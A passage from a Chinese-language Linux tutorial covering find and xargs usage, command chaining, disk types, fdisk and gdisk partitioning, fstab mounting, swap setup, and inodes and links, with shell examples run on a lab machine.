[root@localhost mnt]# find . -name "*.back" -exec ls -l {} \;

例3:

[root@localhost ~]#  find . -name "*.back" -exec mv {} /opt \;
[root@localhost ~]# ls /opt/
1.back  2.back  3.back  rh  test.txt

例4:把查找到的文件复制到一个指定的目录

[root@localhost mnt]# find /root -name "*.txt" -exec cp {} /opt  \;

例5:xargs和find命令结合 复制文件 -i 表示 find 传递给xargs的结果 由{}来代替 (了解)

[root@localhost ~]# rm -rf /opt/*
[root@localhost ~]# find . -name "*.txt"  | xargs  -i cp {}  /opt
[root@localhost ~]# ls /opt/

例6:查找多个类型文件

比较符的使用:

-a and 并且

-o or 或者

+ 超过

- 低于

[root@localhost ~]# touch a.pdf back.sh
[root@localhost ~]# find . -name "*.sh" -o -name "*.pdf"
[root@localhost ~]# find /etc -size +20k -a -size -50k | wc -l
22
[root@localhost ~]# find /etc -size +20k  | wc -l
49

例7: 按权限查找:-perm

[root@localhost ~]# find /bin/ -perm 755   # 等于0755权限的文件或目录
[root@localhost ~]# find /bin/ -perm  -644   #-perm -644  至少有644权限的文件或目录

例:查看系统中权限至少为777的文件或目录

创建一些测试文件:
[root@localhost ~]# mkdir ccc
[root@localhost ~]# chmod 777 ccc
[root@localhost ~]# mkdir test
[root@localhost ~]# chmod 1777 test
 [root@localhost ~]# touch b.sh
[root@localhost ~]# chmod 4777 b.sh
查找:
[root@localhost ~]# find /root/ -perm 777 
[root@localhost ~]# find /root/ -perm 1777 
[root@localhost ~]# find /root/ -perm  4777 

例:把系统中权限不低于777的危险目录查找出来

[root@localhost ~]# find /root/ -perm  -777 

例:把系统中权限不低于777的危险文件查找出来

[root@localhost ~]# find / -type f -perm -777

例8:查找的目录深度:

-maxdepth 1 #只查找目录第一层的文件和目录

如:查找/bin目录下权限等于755的可执行的文件

[root@localhost ~]# find /bin/ -maxdepth 1 -perm 755  #/bin后面要有/
[root@localhost ~]# find /bin -maxdepth 1 -perm 755  #这个命令无法满足我们的需求

例9:查找系统中所有属于用户admin的文件,并把这个文件,放到/root/findresults目录下

注意:/root/findresults这个需要提前创建好。

[root@localhost ~]# mkdir /root/findresults

[root@localhost ~]# find / -user admin -exec cp -a {} /root/findresults/  \;
#参数: -a  #复制时,保留原来文件的所有属性
报错:
find: ‘/proc/43475/task/43475/fd/6’: 没有那个文件或目录
find: ‘/proc/43475/task/43475/fdinfo/6’: 没有那个文件或目录
find: ‘/proc/43475/fd/6’: 没有那个文件或目录
find: ‘/proc/43475/fdinfo/6’: 没有那个文件或目录

cp: 无法以目录"/home/admin" 来覆盖非目录"/root/findresults/admin"

互动: 同一个目录下,可以创建文件admin和文件夹admin吗?同一个目录下创建的文件名和目录名一样吗?

答:不可以

解决:

[root@localhost ~]# find / -user admin  #发现
[root@localhost ~]# ll /var/spool/mail/admin  #查看这个文件
[root@localhost ~]# ll /home/admin   
发现/var/spool/mail/admin 和/home/admin 的名字是一样的。 而两者都要复制到/root/findresults/下,先复制了/var/spool/mail/admin,所以/home/admin就不能复制了。
[root@localhost ~]# mv /var/spool/mail/admin  /var/spool/mail/admin.mail
[root@localhost ~]# rm -rf /root/findresults/*
[root@localhost ~]# find / -user admin -exec cp -a {} /root/findresults/  \;
[root@localhost ~]# mv /var/spool/mail/admin.mail  /var/spool/mail/admin  #再修改过来

11.4 命令判断

11.4.1 用到的三个特殊符号: ; && ||

1、 ;分号 不考虑指令的相关性,连续执行, 分号; 不保证命令全部执行成功的

例:[root@localhost mnt]# sync ; shutdown -F

&& 逻辑与====》它是只有在前面的命令执行成功后,后面的命令才会去执行

例1:如果/opt目录存在,则在/opt下面新建一个文件a.txt

[root@localhost ~]# cd /opt/ && touch /opt/a.txt  && ls

例2:源码编译经典使用方法

[root@localhost ~]# ./configure  &&  make -j 4 &&  make install   #我现在没有源码包,所以此命令不能执行成功。

2、 || 逻辑或===》如果前面的命令执行成功,后面的命令就不去执行了;或者如果前面的执行不成功,才会去执行后面的命令

例1:

[root@localhost etc]# ls xxx || cd /mnt
ls: 无法访问xxx: 没有那个文件或目录
[root@localhost mnt]# pwd
/mnt
[root@localhost mnt]# ls /etc/passwd || cd /etc
/etc/passwd

总结:

命令情况

说 明

命令1 && 命令2

如果命令1执行,且执行正确($? = 0),然后执行命令2 如果命令1执行完成,但是执行错误($? ≠0),那么后面的命令是不会执行的

命令1 || 命令2

如果命令1执行,且执行正确($? = 0),那么命令2不执行 如果命令1执行,但执行错误($? ≠ 0),那么命令2执行

运算顺序:LINUX执行命令,是从左到右一个一个执行,从上到下执行

例:

[root@localhost ~]# cd /opt/back || mkdir /opt/back && touch /opt/back/back.tar && ls /opt/back

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 

第十二章 硬盘介绍和磁盘管理

12.1 SAS-SATA-SSD-SCSI-IDE硬盘讲解

12.1.1 常见磁盘类型

SAS硬盘、SATA硬盘、SSD硬盘、SCSI硬盘、IDE硬盘

你的服务器使用什么磁盘?

SAS硬盘:

SAS(串行连接SCSI接口)

SAS(Serial Attached SCSI),串行连接SCSI接口,串行连接小型计算机系统接口。

SAS是新一代的SCSI技术,和现在流行的Serial ATA(SATA)硬盘相同,都是采用串行技术以获得更高的传输速度,并通过缩短连结线改善内部空间等。

SAS的接口技术可以向下兼容SATA。

磁盘尺寸:

3.5英寸设计 2.5英寸设计

此前主流的桌面磁盘和服务器磁盘都是采用3.5英寸设计,而SAS硬盘除了具有传统的3.5英寸规格之外,还采用了2.5英寸的缩小版,这样可以在机架式服务器有限的空间内安装更多的磁盘以扩充存储系统的容量,也能够为其他配件腾出更大的空间,以便通风散热,在2U高度内使用8个2.5英寸的SAS硬盘位已经成为大多数服务器厂商的选择。

数据线和电源接口,串型和并型 哪个快?

并口为什么没有串口快?

串口形容一下就是 一条车道,而并口就是有8个车道。同一时刻能传送8位(一个字节)数据。

但是并不是并口快,由于8位通道之间的互相干扰。传输受速度就受到了限制。当传输出错时,要同时重新传8个位的数据,而且传输速度越快,干扰越严重。这是硬伤,这样速度就无法提升上来。

串口没有干扰,传输出错后重发一位就可以了。而且串口传输的时钟频率要比并口高。

1956年,一台5mb的IBM硬盘被装上飞机,重量超过一吨

12.1.2 当下流行的磁盘种类

常见硬盘品牌:希捷 西数 日立 HP DELL EMC IBM

硬盘分几种?

从工作原理来说:

固态:价格相对贵,寿命长,读取速度

机械:怕摔、怕磁,(单位换下来的坏盘会做消磁处理),读取速度---》磁道寻址时间,潜伏时间

从硬盘的接口来说

STAT:用在低端服务器多

SAS、SCSI:用在中高服务器

PCIE M.2

对Linux来说,在内核中,不同的接口对应有不同的命名方式:

操作系统

IDE

STAT|SCSI

SAS

RHEL5

/dev/hda

/dev/sda

/dev/sda

RHEL6

/dev/sda

/dev/sda

/dev/sda

KVM

/dev/vda

例1:常见磁盘:

假SAS= SATA盘身+ SAS接口(热插拔)

硬盘: 容量大 + 便宜 符合市场需求!

提速度:假SAS做raid5 raid10 ,做分布式存储 MFS ,HDFS,GFS, swift ,ceph

例2:存储设备:阵列

互动:存储会放到机柜的上面还是下面?

下面:稳 , 换硬盘方便,机柜不容已倒,布线容易 ,太沉

例3:以西部数据为例,了解一下SATA盘。

查看存储上的磁盘:

注:ST 希捷 WD 西数

例2:游戏服务器上的固态磁盘: 数据不多, 但要延迟小,随机读写能力强!

互动:有SAS接口的SSD硬盘?

联想(Lenovo)IBM存储 V3500/V3700系列 2.5英寸存储硬盘 200G SAS SSD

戴尔(DELL)400GB SAS 接口 2.5英寸 SSD固态硬盘 服务器硬盘¥6900.00 

经验: 对于机械式磁盘,SATA3和SATA2接口标准,速度上没有太明显提升,但是对于固态磁盘,SATA3接口比SATA2快很多,就像USB3.0比USB2.0快很多一样。

12.2 磁盘分区工具和挂载

12.2.1 硬盘分区符认识

MBR概述:全称为Master Boot Record,即硬盘的主引导记录。

硬盘的0柱面、0磁头、1扇区称为主引导扇区(也叫主引导记录MBR)。它由三个部分组成,主引导程序、硬盘分区表DPT(Disk Partition table)和分区有效标志(55AA)。在总共512字节的主引导扇区里主引导程序(boot loader)占446个字节,第二部分是Partition table区(分区表),即DPT,占64个字节,硬盘中分区有多少以及每一分区的大小都记在其中。第三部分是magic number,占2个字节,固定为55AA。

分区编号:主分区1-4 ,逻辑分区5……

LINUX规定:逻辑分区必须建立在扩展分区之上,而不是建立在主分区上

分区作用:

主分区:主要是用来启动操作系统的,它主要放的是操作系统的启动或引导程序,/boot分区最好放在主分区上

扩展分区不能使用的,它只是做为逻辑分区的容器存在的;我们真正存放数据的是主分区和逻辑分区,大量数据都放在逻辑分区中

如果你用的是GPT的分区方式,那么它没有限制主分区个数

注意:使用分区工具fdisk对磁盘进行操作,分区,格式化(重点)

命名方式: /dev/sd[a-z]n

其中:a-z 表示设备的序号,如sda表示第一块scsi硬盘,sdb就是第二块......

n 表示每块磁盘上划分的磁盘分区编号

12.2.2 使用fdisk管理分区

fdisk:磁盘分区,是Linux发行版本中最常用的分区工具

用法:fdisk [选项] device

常用的选项 : -l 查看硬盘分区表

案例:在sdb盘上建一个分区,大小为100M

在虚拟机上添加一块硬盘

例:对sdb这块盘划分一个100M的分区出来

[root@localhost ~]# fdisk /dev/sdb
...
Command (m for help): m
Command action
   a   toggle a bootable flag
   b   edit bsd disklabel
   c   toggle the dos compatibility flag
   d   delete a partition   删除分区
   g   create a new empty GPT partition table
   G   create an IRIX (SGI) partition table
   l   list known partition types   显示分区类型
   m   print this menu   打印帮助菜单
   n   add a new partition   添加新的分区
   o   create a new empty DOS partition table
   p   print the partition table   显示分区表
   q   quit without saving changes   不保存,退出
   s   create a new empty Sun disklabel
   t   change a partition's system id   改变分区类型
   u   change display/entry units
   v   verify the partition table
   w   write table to disk and exit   写分区表信息到硬盘,保存操作并退出
   x   extra functionality (experts only)

Command (m for help): p   -----打印分区表
Command (m for help): n   ----新建一个分区
Partition type:
   p   primary (2 primary, 0 extended, 2 free)    p:主分区
   e   extended                         e:扩展分区
Select (default p):     --直接默认
Using default response p
Partition number (1,4, default 1):   ---直接默认
First sector (1230848-41943039, default 1230848):   ---直接默认 
Using default value 1230848
Last sector, +sectors or +size{K,M,G} (1230848-41943039, default 41943039): +1G  输入分区大小
Partition 3 of type Linux and of size 1 GiB is set
Command (m for help): w   保存退出

[root@localhost ~]# ls /dev/sdb*
/dev/sdb  /dev/sdb1

例2:对已经在使用的磁盘进行分区,分区让新生成的分区生效。如果对sda再做一个sda4主分区

[root@localhost ~]# fdisk  /dev/sda
命令(输入 m 获取帮助):p
磁盘标识符:0x0005c80e

   设备 Boot      Start         End      Blocks   Id  System
/dev/sda1   *        2048      411647      204800   83  Linux
/dev/sda2          411648     2508799     1048576   82  Linux swap / Solaris
/dev/sda3         2508800    23480319    10485760   83  Linux

命令(输入 m 获取帮助):n
Partition type:
   p   primary (3 primary, 0 extended, 1 free)
   e   extended
Select (default e): p
已选择分区 4
起始 扇区 (23480320-41943039,默认为 23480320):
将使用默认值 23480320
Last 扇区, +扇区 or +size{K,M,G} (23480320-41943039,默认为 41943039):+1G
分区 4 已设置为 Linux 类型,大小设为 1 GiB

命令(输入 m 获取帮助):w
The partition table has been altered!

Calling ioctl() to re-read partition table.

WARNING: Re-reading the partition table failed with error 16: 设备或资源忙.
The kernel still uses the old table. The new table will be used at
the next reboot or after you run partprobe(8) or kpartx(8)
解决:让新生成的分区生效:
[root@localhost ~]#reboot   #这个是最好的方法
或
[root@localhost ~]# partx -a /dev/sda  #获得新分区表

使用sdb1新分区:

[root@localhost ~]# mkfs.ext4 /dev/sdb1 
[root@localhost ~]# mkfs.xfs  /dev/sdb1   #格式化,-f 对已经存在文件系统的分区,强制格式化
[root@localhost ~]# mkdir /sdb1   #创建挂载点
[root@localhost ~]# mount /dev/sdb1 /sdb1/    #挂载
[root@localhost ~]# df -h    #查看
文件系统        容量  已用  可用 已用% 挂载点
/dev/sda3        10G  4.3G  5.8G   43% /
devtmpfs        982M     0  982M    0% /dev
tmpfs           997M     0  997M    0% /dev/shm
tmpfs           997M  9.0M  988M    1% /run
tmpfs           997M     0  997M    0% /sys/fs/cgroup
/dev/sr0        4.3G  4.3G     0  100% /mnt
/dev/sda1       197M  172M   25M   88% /boot
tmpfs           200M   24K  200M    1% /run/user/0
/dev/sdb1      1014M   33M  982M    4% /sdb1

[root@localhost ~]# cd /sdb1/   #使用新分区
[root@localhost sdb1]# ls
[root@localhost sdb1]# cp /etc/passwd ./

例3:解决卸载不了的问题

[root@localhost ~]# cd /sdb1/
[root@localhost sdb1]# umount /sdb1
umount: /sdb1:目标忙。
        (有些情况下通过 lsof(8) 或 fuser(1) 可以
         找到有关使用该设备的进程的有用信息)
[root@localhost sdb1]# lsof /sdb1
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
bash    2823 root  cwd    DIR   8,17       20   64 /sdb1
lsof    2952 root  cwd    DIR   8,17       20   64 /sdb1
lsof    2953 root  cwd    DIR   8,17       20   64 /sdb1

方法1:

[root@localhost sdb1]# kill -9 2823

方法2:

[root@localhost sdb1]# cd    #退出目录,这个最合适
[root@localhost ~]# umount /dev/sdb1
注:umount 挂载点   //卸载方式1    或 umount 设备路径  //卸载方式2

例4:写入配置文件,让它开机自动挂载

[root@localhost /]# vim /etc/fstab  #在文件最后写入
/dev/sdb1 /sdb1 xfs defaults 0 0

/dev/sdb1

/sdb1

xfs

defaults

0

0

要挂载的分区设备

挂载点

文件系统类型

挂载选项

是否备份

是否检测

[root@localhost ~]# mount -a  #自动挂载/etc/fstab中没有挂载上的文件
[root@localhost ~]# df -h
文件系统        容量  已用  可用 已用% 挂载点
/dev/sda3        10G  4.3G  5.8G   43% /
devtmpfs        982M     0  982M    0% /dev
tmpfs           997M     0  997M    0% /dev/shm
tmpfs           997M  9.0M  988M    1% /run
tmpfs           997M     0  997M    0% /sys/fs/cgroup
/dev/sr0        4.3G  4.3G     0  100% /mnt
/dev/sda1       197M  172M   25M   88% /boot
tmpfs           200M   24K  200M    1% /run/user/0
/dev/sdb1      1014M   33M  982M    4% /sdb1   
#发现已经挂载上,说明配置没有问题。 然后再重启,看看挂载

方法2: 使用UUID挂载

[root@localhost ~]# blkid
/dev/sda1: UUID="a635d4d2-a21e-4d9b-b199-4c8d5cfed808" TYPE="xfs" 
/dev/sda2: UUID="46f139f8-fd5c-4e51-8d5c-b33f6c7aa38e" TYPE="swap" 
/dev/sda3: UUID="4bcb433e-10e6-464d-a40b-00d018950149" TYPE="xfs" 
/dev/sdb1: UUID="5e3a580a-e5b4-448c-88bf-d22fb3d1d9e2" TYPE="xfs"
[root@localhost /]# echo "UUID=5e3a580a-e5b4-448c-88bf-d22fb3d1d9e2  /sdb1  xfs defaults 0 0" >> /etc/fstab

扩展:了解

/dev/sdb1

/sdb1

xfs

defaults

0

0

要挂载的分区设备

挂载点

文件系统类型

挂载选项

是否备份

是否检测

其中第四列:parameters-文件系统的参数

Async/sync

设置是否为同步方式运行,默认为async

auto/noauto

当执行mount -a 的命令时,此文件系统是否被主动挂载。默认为auto

rw/ro

是否以以只读或者读写模式挂载

exec/noexe

限制此文件系统内是否能够进行"执行"的操作

user/nouser

是否允许用户使用mount命令挂载

suid/nosuid

是否允许SUID的存在

Usrquota

启动文件系统支持磁盘配额模式

Grpquota

启动文件系统对群组磁盘配额模式的支持

Defaults

同时具有rw,suid,dev,exec,auto,nouser,async等默认参数的设置 samba nfs

第五列:是否进行备份。通常这个参数的值为0或者1

0

代表不要做备份

1

代表要每天进行操作

2

代表不定日期的进行操作

第六列:是否检验扇区:开机的过程中,系统默认会以fsck检验我们系统是否为完整

0

不要检验

1

最早检验(一般根目录会选择)

2

1级别检验完成之后进行检验

12.2.3 gdisk 磁盘分区工具

gdisk主要是用来划分容量大于2T的硬盘,大于2T fdisk搞不定

两种类型的分区表:GPT和MBR ; MBR不支持4T以上

GPT分区:GPT,全局唯一标识分区表(GUID Partition Table),它使用128位GUID来唯一标识每个磁盘和分区,与MBR存在单一故障点不同,GPT提供分区表信息的冗余,一个在磁盘头部一个在磁盘尾部;它通过CRC校验和来检测GPT头和分区表中的错误与损坏;默认一个硬盘支持128个分区

例:对sdb做gpt分区,创建一个sdb1

[root@localhost ~]# gdisk /dev/sdb
。。。
Command (? for help): ?    #  查看帮助
b	back up GPT data to a file
c	change a partition's name   
d	delete a partition    #删除分区
i	show detailed information on a partition
l	list known partition types
n	add a new partition        # 添加一个分区
o	create a new empty GUID partition table (GPT)
p	print the partition table       # 打印分区表
q	quit without saving changes     # 退出不保存
r	recovery and transformation options (experts only)
s	sort partitions
t	change a partition's type code
v	verify disk
w	write table to disk and exit     #  # 写入分区表并退出
x	extra functionality (experts only)
?	print this menu

Command (? for help): n   #新建分区表
Partition number (1-128, default 1):     #直接回车
First sector (34-41943006, default = 2048) or {+-}size{KMGTP}:     #直接回车, 从头开始划分空间
Last sector (2048-41943006, default = 41943006) or {+-}size{KMGTP}: +1G  #给1G空间
Current type is 'Linux filesystem'
Hex code or GUID (L to show codes, Enter = 8300):     #分区类型直接回车
注:8300 Linux filesystem  ;8e00 Linux LVM     想查看,可以按L 来显示
Changed type of partition to 'Linux filesystem'

Command (? for help): p  #查看
。。。
Number  Start (sector)    End (sector)  Size       Code  Name
   1            2048         2099199   1024.0 MiB  8300  Linux filesystem
Command (? for help): w   #保存
Do you want to proceed? (Y/N): y    #确定写入
OK; writing new GUID partition table (GPT) to /dev/sdb.
The operation has completed successfully.
[root@localhost ~]# mkfs.xfs  /dev/sdb1  #格式化 

例2: 修改fstab重启系统后,系统报错:

重启后报错:

输入root密码: 123456

把fstab中新添加开机自动加载项目删除:

然后reboot

12.3 实战扩展swap分区

Swap分区在系统的物理内存不够用的时候,把硬盘空间中的一部分空间释放出来,以供当前运行的程序使用。

mkswap /devices (格式化成swap格式)

swapon /swap (激活/swap,加入到swap分区中)

vim /etc/fstab (开机自启动新添加的swap分区) ,在最后追加:

/devices swap swap defaults 0 0

如果不想使用需要删除,只需要执行#swapoff /swap

12.3.1 先分个区

[root@localhost ~]# gdisk  /dev/sdb
...
Command (? for help): n  #新建分区
Partition number (2-128, default 2):     #回车
First sector (34-41943006, default = 2099200) or {+-}size{KMGTP}:  #回车
Last sector (2099200-41943006, default = 41943006) or {+-}size{KMGTP}: +1G  #给1G
Current type is 'Linux filesystem'
Hex code or GUID (L to show codes, Enter = 8300):  #回车
Changed type of partition to 'Linux filesystem'

Command (? for help): w  #保存
Do you want to proceed? (Y/N): y

格式化swap

[root@localhost ~]# mkswap /dev/sdb2
正在设置交换空间版本 1,大小 = 2097148 KiB
无标签,UUID=dc41b5ef-bcf1-477c-902e-c5bb00d41c1e
验证:
[root@localhost ~]# free -m
              total        used        free      shared  buff/cache   available
Mem:            977         557          75          16         345         168
Swap:          2047         234        1813

[root@localhost ~]# swapon /dev/sdb2   ---开启
[root@localhost ~]# free -m
              total        used        free      shared  buff/cache   available
Mem:            977         556          75          16         345         169
Swap:          3071         234        2837
[root@localhost ~]# swapoff /dev/sdb2    ---关闭
[root@localhost ~]# free -m
              total        used        free      shared  buff/cache   available
Mem:            977         556          75          16         345         169
Swap:          2047         234        1813
[root@localhost ~]# swapon -s
Filename				Type		Size	Used	Priority
/dev/dm-1                              	partition	2097148	240532	-1
[root@localhost ~]# swapon /dev/sdb2
[root@localhost ~]# swapon -s  #查看
Filename				Type		Size	Used	Priority
/dev/dm-1                              	partition	2097148	240532	-1
/dev/sdb2                              	partition	1048572	0	-2

12.3.2 通过文件增加SWAP空间

[root@localhost ~]# dd if=/dev/zero of=swap_file bs=1M count=500
[root@localhost ~]# ll /root/swap_file
[root@localhost ~]# chmod 0600 /root/swap_file
[root@localhost ~]# mkswap -f /root/swap_file 
[root@localhost ~]# swapon /root/swap_file
[root@localhost ~]# free -m

 ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

第十三章 Linux文件系统结构

13.1 硬盘结构

13.1.1 硬盘结构

文件系统结构,理解文件系统,要从文件储存说起。

硬盘结构:

互动:磁盘内部是真空的吗? 磁盘内部不是真空,只不过里面的空气很干净。如果是真空,还不利于散热

磁盘相关专业术语:

硬盘的内部是金属盘片,将圆形的盘片划分成若干个扇形区域,这就是扇区。若干个扇区就组成整个盘片。为什么要分扇区?是逻辑化数据的需要,能更好的管理硬盘空间。 以盘片中心为圆心,把盘片分成若干个同心圆,那每一个划分圆的“线条”,就称为磁道。

硬盘内的盘片有两个面,都可以储存数据,而硬盘内的盘片往往不止一张,常见的有两张,那么,两张盘片中相同位置的磁道,就组成一个“柱面”,盘片中有多少个磁道,就有多少个柱面。盘片两面都能存数据,要读取它,必须有磁头,所以,每一个面,都有一个磁头,一张盘片就有两个磁头。

硬盘的存储容量=磁头数×磁道(柱面)数×每道扇区数×每道扇区字节数。

磁道从外向内自0开始顺序进行编号,各个磁道上的扇区数是在硬盘格式化时确定的。

文件储存在硬盘上,硬盘的最小存储单位叫做"扇区"(Sector)。每个扇区储存512字节(相当于0.5KB)。 

比较古老的CHS (Cylinder/Head/Sector :磁头(Heads)、柱面(Cylinder)、扇区(Sector))结构体系. 因为很久以前,在硬盘的容量还非常小的时候,人们采用与软盘类似的结构生产硬盘。也就是硬盘盘片的每一条磁道都具有相同的扇区数,由此产生了所谓的3D参数,即是磁头数(Heads)、柱面数(Cylinders)、扇区数(Sectors)以及相应的3D寻址方式。

互动 : 如上的磁盘结构有没有问题???

这种结构有问题:

以前老式的磁盘,每个磁道的扇区都一样,这样外磁道整个弧长要大于内部的扇区弧长,因而其磁记录密度就要比内部磁道的密度要小。最终,导致了外部磁道的空间浪费。

如查你磁盘设计工程师,你打算怎么解决? 你选择下面哪种方法?

方法1:每个磁道的宽度不一样,从而让每个扇区面积尽量一样

方法2:不再一刀切,让磁道中的扇区数量可以不一样

现在硬盘都采用这种技术:ZBR(Zoned Bit Recording)区位记录 (Zoned zōnd )

Zoned-bit recording(ZBR 区位记录)是一种物理优化硬盘存储空间的方法,此方法通过将更多的扇区放到磁盘的外部磁道而获取更多存储空间。

ZBR磁盘扇区结构示意图

 互动: 从外面读数据快? 还是从里面快? 里:1 外:2

 使用ZBR 区位记录法做的磁盘有以下特点:读外圈的数据快,读内圈的数据慢,所以测试硬盘经常看到读取速度越来越慢的曲线图就很正常了。

互动:windows安装系统的C盘或Linux boot分区一般安装在磁盘最外面还是最里面?

windows : C盘安装最外,速度也是最快

Linux : boot分区和 swap分区,装最外面

磁盘写数据时,先从外面往里。

13.1.2 簇和block 

簇类似于Linux系统中的block

例:在win10系统,新一个文本文件“新建文本文档.txt”,只输入aa两个字符。

 右击属性查看大小: 说明我的NTFS文件系统中默认的簇大小为4KB

[root@localhost ~]# stat /etc/passwd  #查看Linux block 大小
  文件:"/etc/passwd"
  大小:2053      	块:8          IO 块:4096 =4KB  普通文件

13.2 文件系统结构

Linux文件系统由三部分组成 : 文件名,inode,block

Linux文件系统: ext3,ext4,xfs

windows文件系统: FAT32,NTFS

13.2.1 文件名

[root@localhost ~]# cp /etc/passwd a.txt 
[root@localhost ~]# ls a.txt  # a.txt 就是文件名

13.2.2 inode的内容

inode包含文件的元信息,具体来说有以下内容:

  * 文件的字节数

  * 文件拥有者的User ID

  * 文件的Group ID

  * 文件的读、写、执行权限

  * 文件的时间戳,共有三个:ctime指inode上一次变动的时间,mtime指文件内容上一次变动的时间,atime指文件上一次打开的时间。

  * 链接数,即有多少文件名指向这个inode

  * 文件数据block的位置

可以用stat命令,查看某个文件的inode信息:

[root@localhost ~]# stat a.txt
  File: ‘a.txt’
  Size: 2053      	Blocks: 8          IO Block: 4096   regular file
Device: 803h/2051d	Inode: 18521833    Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)Access最近访问时间: 2018-05-16 14:55:36.061095050 +0800
Modify最近更改时间: 2018-05-16 14:55:36.062095050 +0800
Change最近改动时间: 2018-05-16 14:55:36.062095050 +0800
 Birth创建时间: -
[root@localhost ~]#  ll /etc/passwd  #ll 其实就是查看passwd的inode信息
-rw-r--r--. 1 root root 2053 Sep 19  2017 /etc/passwd  #ll查看到时间是ctime时间

互动:

ctime是什么? 是创建时间吗? 不会:1

mtime : modify time 修改文件内容的时间

atime : access time 访问文件内容的时间

ctime指inode上一次文件属性变动的时间,change time 。 比如: chmod +x a.sh

mtime指文件内容上一次变动的时间,modify time  。如:echo aa >> a.sh 或vim a.sh 修改内容

atime指文件上一次查看文件的时间,access time 。 如: cat a.sh

例2:测试mtime时间,黑客先修改时间,再植入木马程序,防止 find / -mtime 查看木马文件

[root@localhost ~]# stat a.txt  #查看时间
[root@localhost ~]# date -s '13:42'
[root@localhost ~]# vim a.txt   #写入aaaa,vim会修改mtime和atime时间
[root@localhost ~]# stat a.txt  #查看时间
[root@localhost ~]# chmod +x a.txt  #修改ctime,有时黑客忘记修改ctime时间了,所以你可以find / -ctime 查看木马文件
[root@localhost ~]# stat a.txt  #查看时间

这个一招学到手:1

13.2.3 inode的大小

inode也会消耗硬盘空间,所以硬盘格式化的时候,操作系统自动将硬盘分成两个区域。一个是数据区,存放文件数据;另一个是inode区(inode table),存放inode所包含的信息。

每个inode节点的大小,一般是128字节或256字节。inode节点的总数,在格式化时就给定,假定在一块1GB的硬盘中,每个inode节点的大小为128字节,每1KB就设置一个inode,那么inode table的大小就会达到128MB,占整块硬盘的12.8%。

inode号码

每个inode都有一个号码,操作系统用inode号码来识别不同的文件。

 Unix/Linux系统内部不使用文件名,而使用inode号码来识别文件。对于系统来说,文件名只是inode号码便于识别的别称或者绰号。表面上,用户通过文件名,打开文件。实际上,系统内部这个过程分成三步:首先,系统找到这个文件名对应的inode号码;其次,通过inode号码,获取inode信息;最后,根据inode信息,找到文件数据所在的block,读出数据。 

例1: 使用ls -i命令,可以看到文件名对应的inode号码

[root@localhost ~]# ls -i a.txt 
440269 a.txt

例2:查看每个硬盘分区的inode总数和已经使用的数量,可以使用df命令。

[root@localhost ~]# df -i
Filesystem            Inodes   IUsed   IFree IUse% Mounted on
/dev/sda2             640848  151010  489838   24% /
tmpfs                 145579       1  145578    1% /dev/shm
/dev/sda1              51200      38   51162    1% /boot

注:由于每个文件都必须有一个inode,因此有可能发生inode已经用光,但是硬盘还未存满的情况。这时,就无法在硬盘上创建新文件。

13.2.4 目录文件

Unix/Linux系统中,目录(directory)也是一种文件。打开目录,实际上就是打开目录文件。 

目录文件的结构非常简单,就是一系列目录项的列表。每个目录项,由两部分组成:所包含文件的文件名,以及该文件名对应的inode号码。

[root@localhost ~]# ls -id /etc
8388673 /etc

 例:ls -i命令列出整个目录文件,即文件名和inode号码:

[root@localhost ~]# ls -i /etc

13.2.5 block块大小

block 是真正存储数据的地方。

block是 文件系统 中最小的存储单位

扇区 是 磁盘 中最小的存储单位

 在linux下中叫:block,在windows中叫:簇

互动:为什么要有block,直接使用扇区可以吗?

操作系统读取硬盘的时候,不会一个个扇区(512字节)地读取,这样效率太低,而是一次性连续读取多个扇区,即一次性读取一个"块"(block)。这种由多个扇区组成的"块",是文件存取的最小单位。"块"的大小,最常见的是1KB,即连2个 sector扇区组成一个 block。或4K。

例1:格式化修改磁盘,修改簇大小

实战:簇和block大小设定

簇和block调大:

优点: 速度快,节约寻址时间,缺点:空间浪费

比如: 2T硬盘, 前1.5T,使用4K, 把剩下的500G格式化成64K簇。用空间换时间

例2:查看Linux系统块大小

[root@localhost ~]# stat /etc/passwd | grep IO
  大小:2053      	块:8          IO 块:4096   普通文件
#block到是4K

总结:

硬盘的结构:ZBR 区位记录

inode(inode表中主要看inode号)

inode号唯一标识一个文件(一个文件系统里面)

inode用完了,文件就不能创建了。

inode数据量设置大一些:可以创建多个文件。占用空间比较大

inode数据量设置小一些:可以创建很少文件。占用空间比较小

block

block设置大:效率高,利用率低。

block设置小:效率低,利用率高。

13.3 文件的硬链接和软链接

13.3.1 Linux链接概

Linux链接分两种,一种被称为硬链接(Hard Link),另一种被称为软链接,即符号链接(Symbolic Link)。默认情况下,ln命令产生硬链接。

【硬连接】:硬连接指通过索引节点号来进行连接。inode是可以对应多个文件名的

在Linux的文件系统中,保存在磁盘分区中的文件不管是什么类型都给它分配一个编号,称为索引节点号(Inode Index)。

在Linux中,多个文件名可以指向同一索引节点。一般这种连接就是硬连接。

硬连接的作用是允许一个文件拥有多个有效路径名,这样用户就可以建立硬连接到重要文件,以防止“误删”的功能。

只删除一个连接并不影响索引节点本身和其它的连接,只有当最后一个连接被删除后,文件的数据块及目录的连接才会被释放。也就是说,文件真正删除的条件是与之相关的所有硬连接文件均被删除。

【软连接】:另外一种连接称之为符号连接(Symbolic Link),也叫软连接。软链接文件有类似于Windows的快捷方式。它实际上是一个特殊的文件。在符号连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息

13.3.2 实战-1: ln命令创建硬链接

语法格式:ln 源文件 目标文件

[root@localhost ~]# echo 1111 > a.txt

 硬链接的原理就是多个文件名指向同一个inode,因此多个文件名共用一个inode号,达到共享与备份的目的

注意:源文件被删除,不影响链接文件的正常使用

硬链接不能针对目录创建

硬链接不能跨分区进行创建

硬链接的特点: 无法针对目录,跨分区无法实现。因为每个分区都有自己独立的INDOE编号

互动:为什么刚创建的一个目录,链接数就是2?

[root@localhost ~]# mkdir test
[root@localhost ~]# ll -d test/
drwxr-xr-x 2 root root 6 5月  16 15:55 test/
默认新一个空目录,此目录的第二字段就是2(包含两个隐藏目录,因为每一个目录都有一个指向它本身的子目录"." 和指向它上级目录的子目录".."),所以test是一个链接, 隐藏目录. 是第二个链接
[root@localhost ~]# ll -id test/    #两个inode号是一样的
2453723 drwxr-xr-x 2 root root 6 5月  16 15:55 test/
[root@localhost ~]# ll -id test/.
2453723 drwxr-xr-x 2 root root 6 5月  16 15:55 test/.

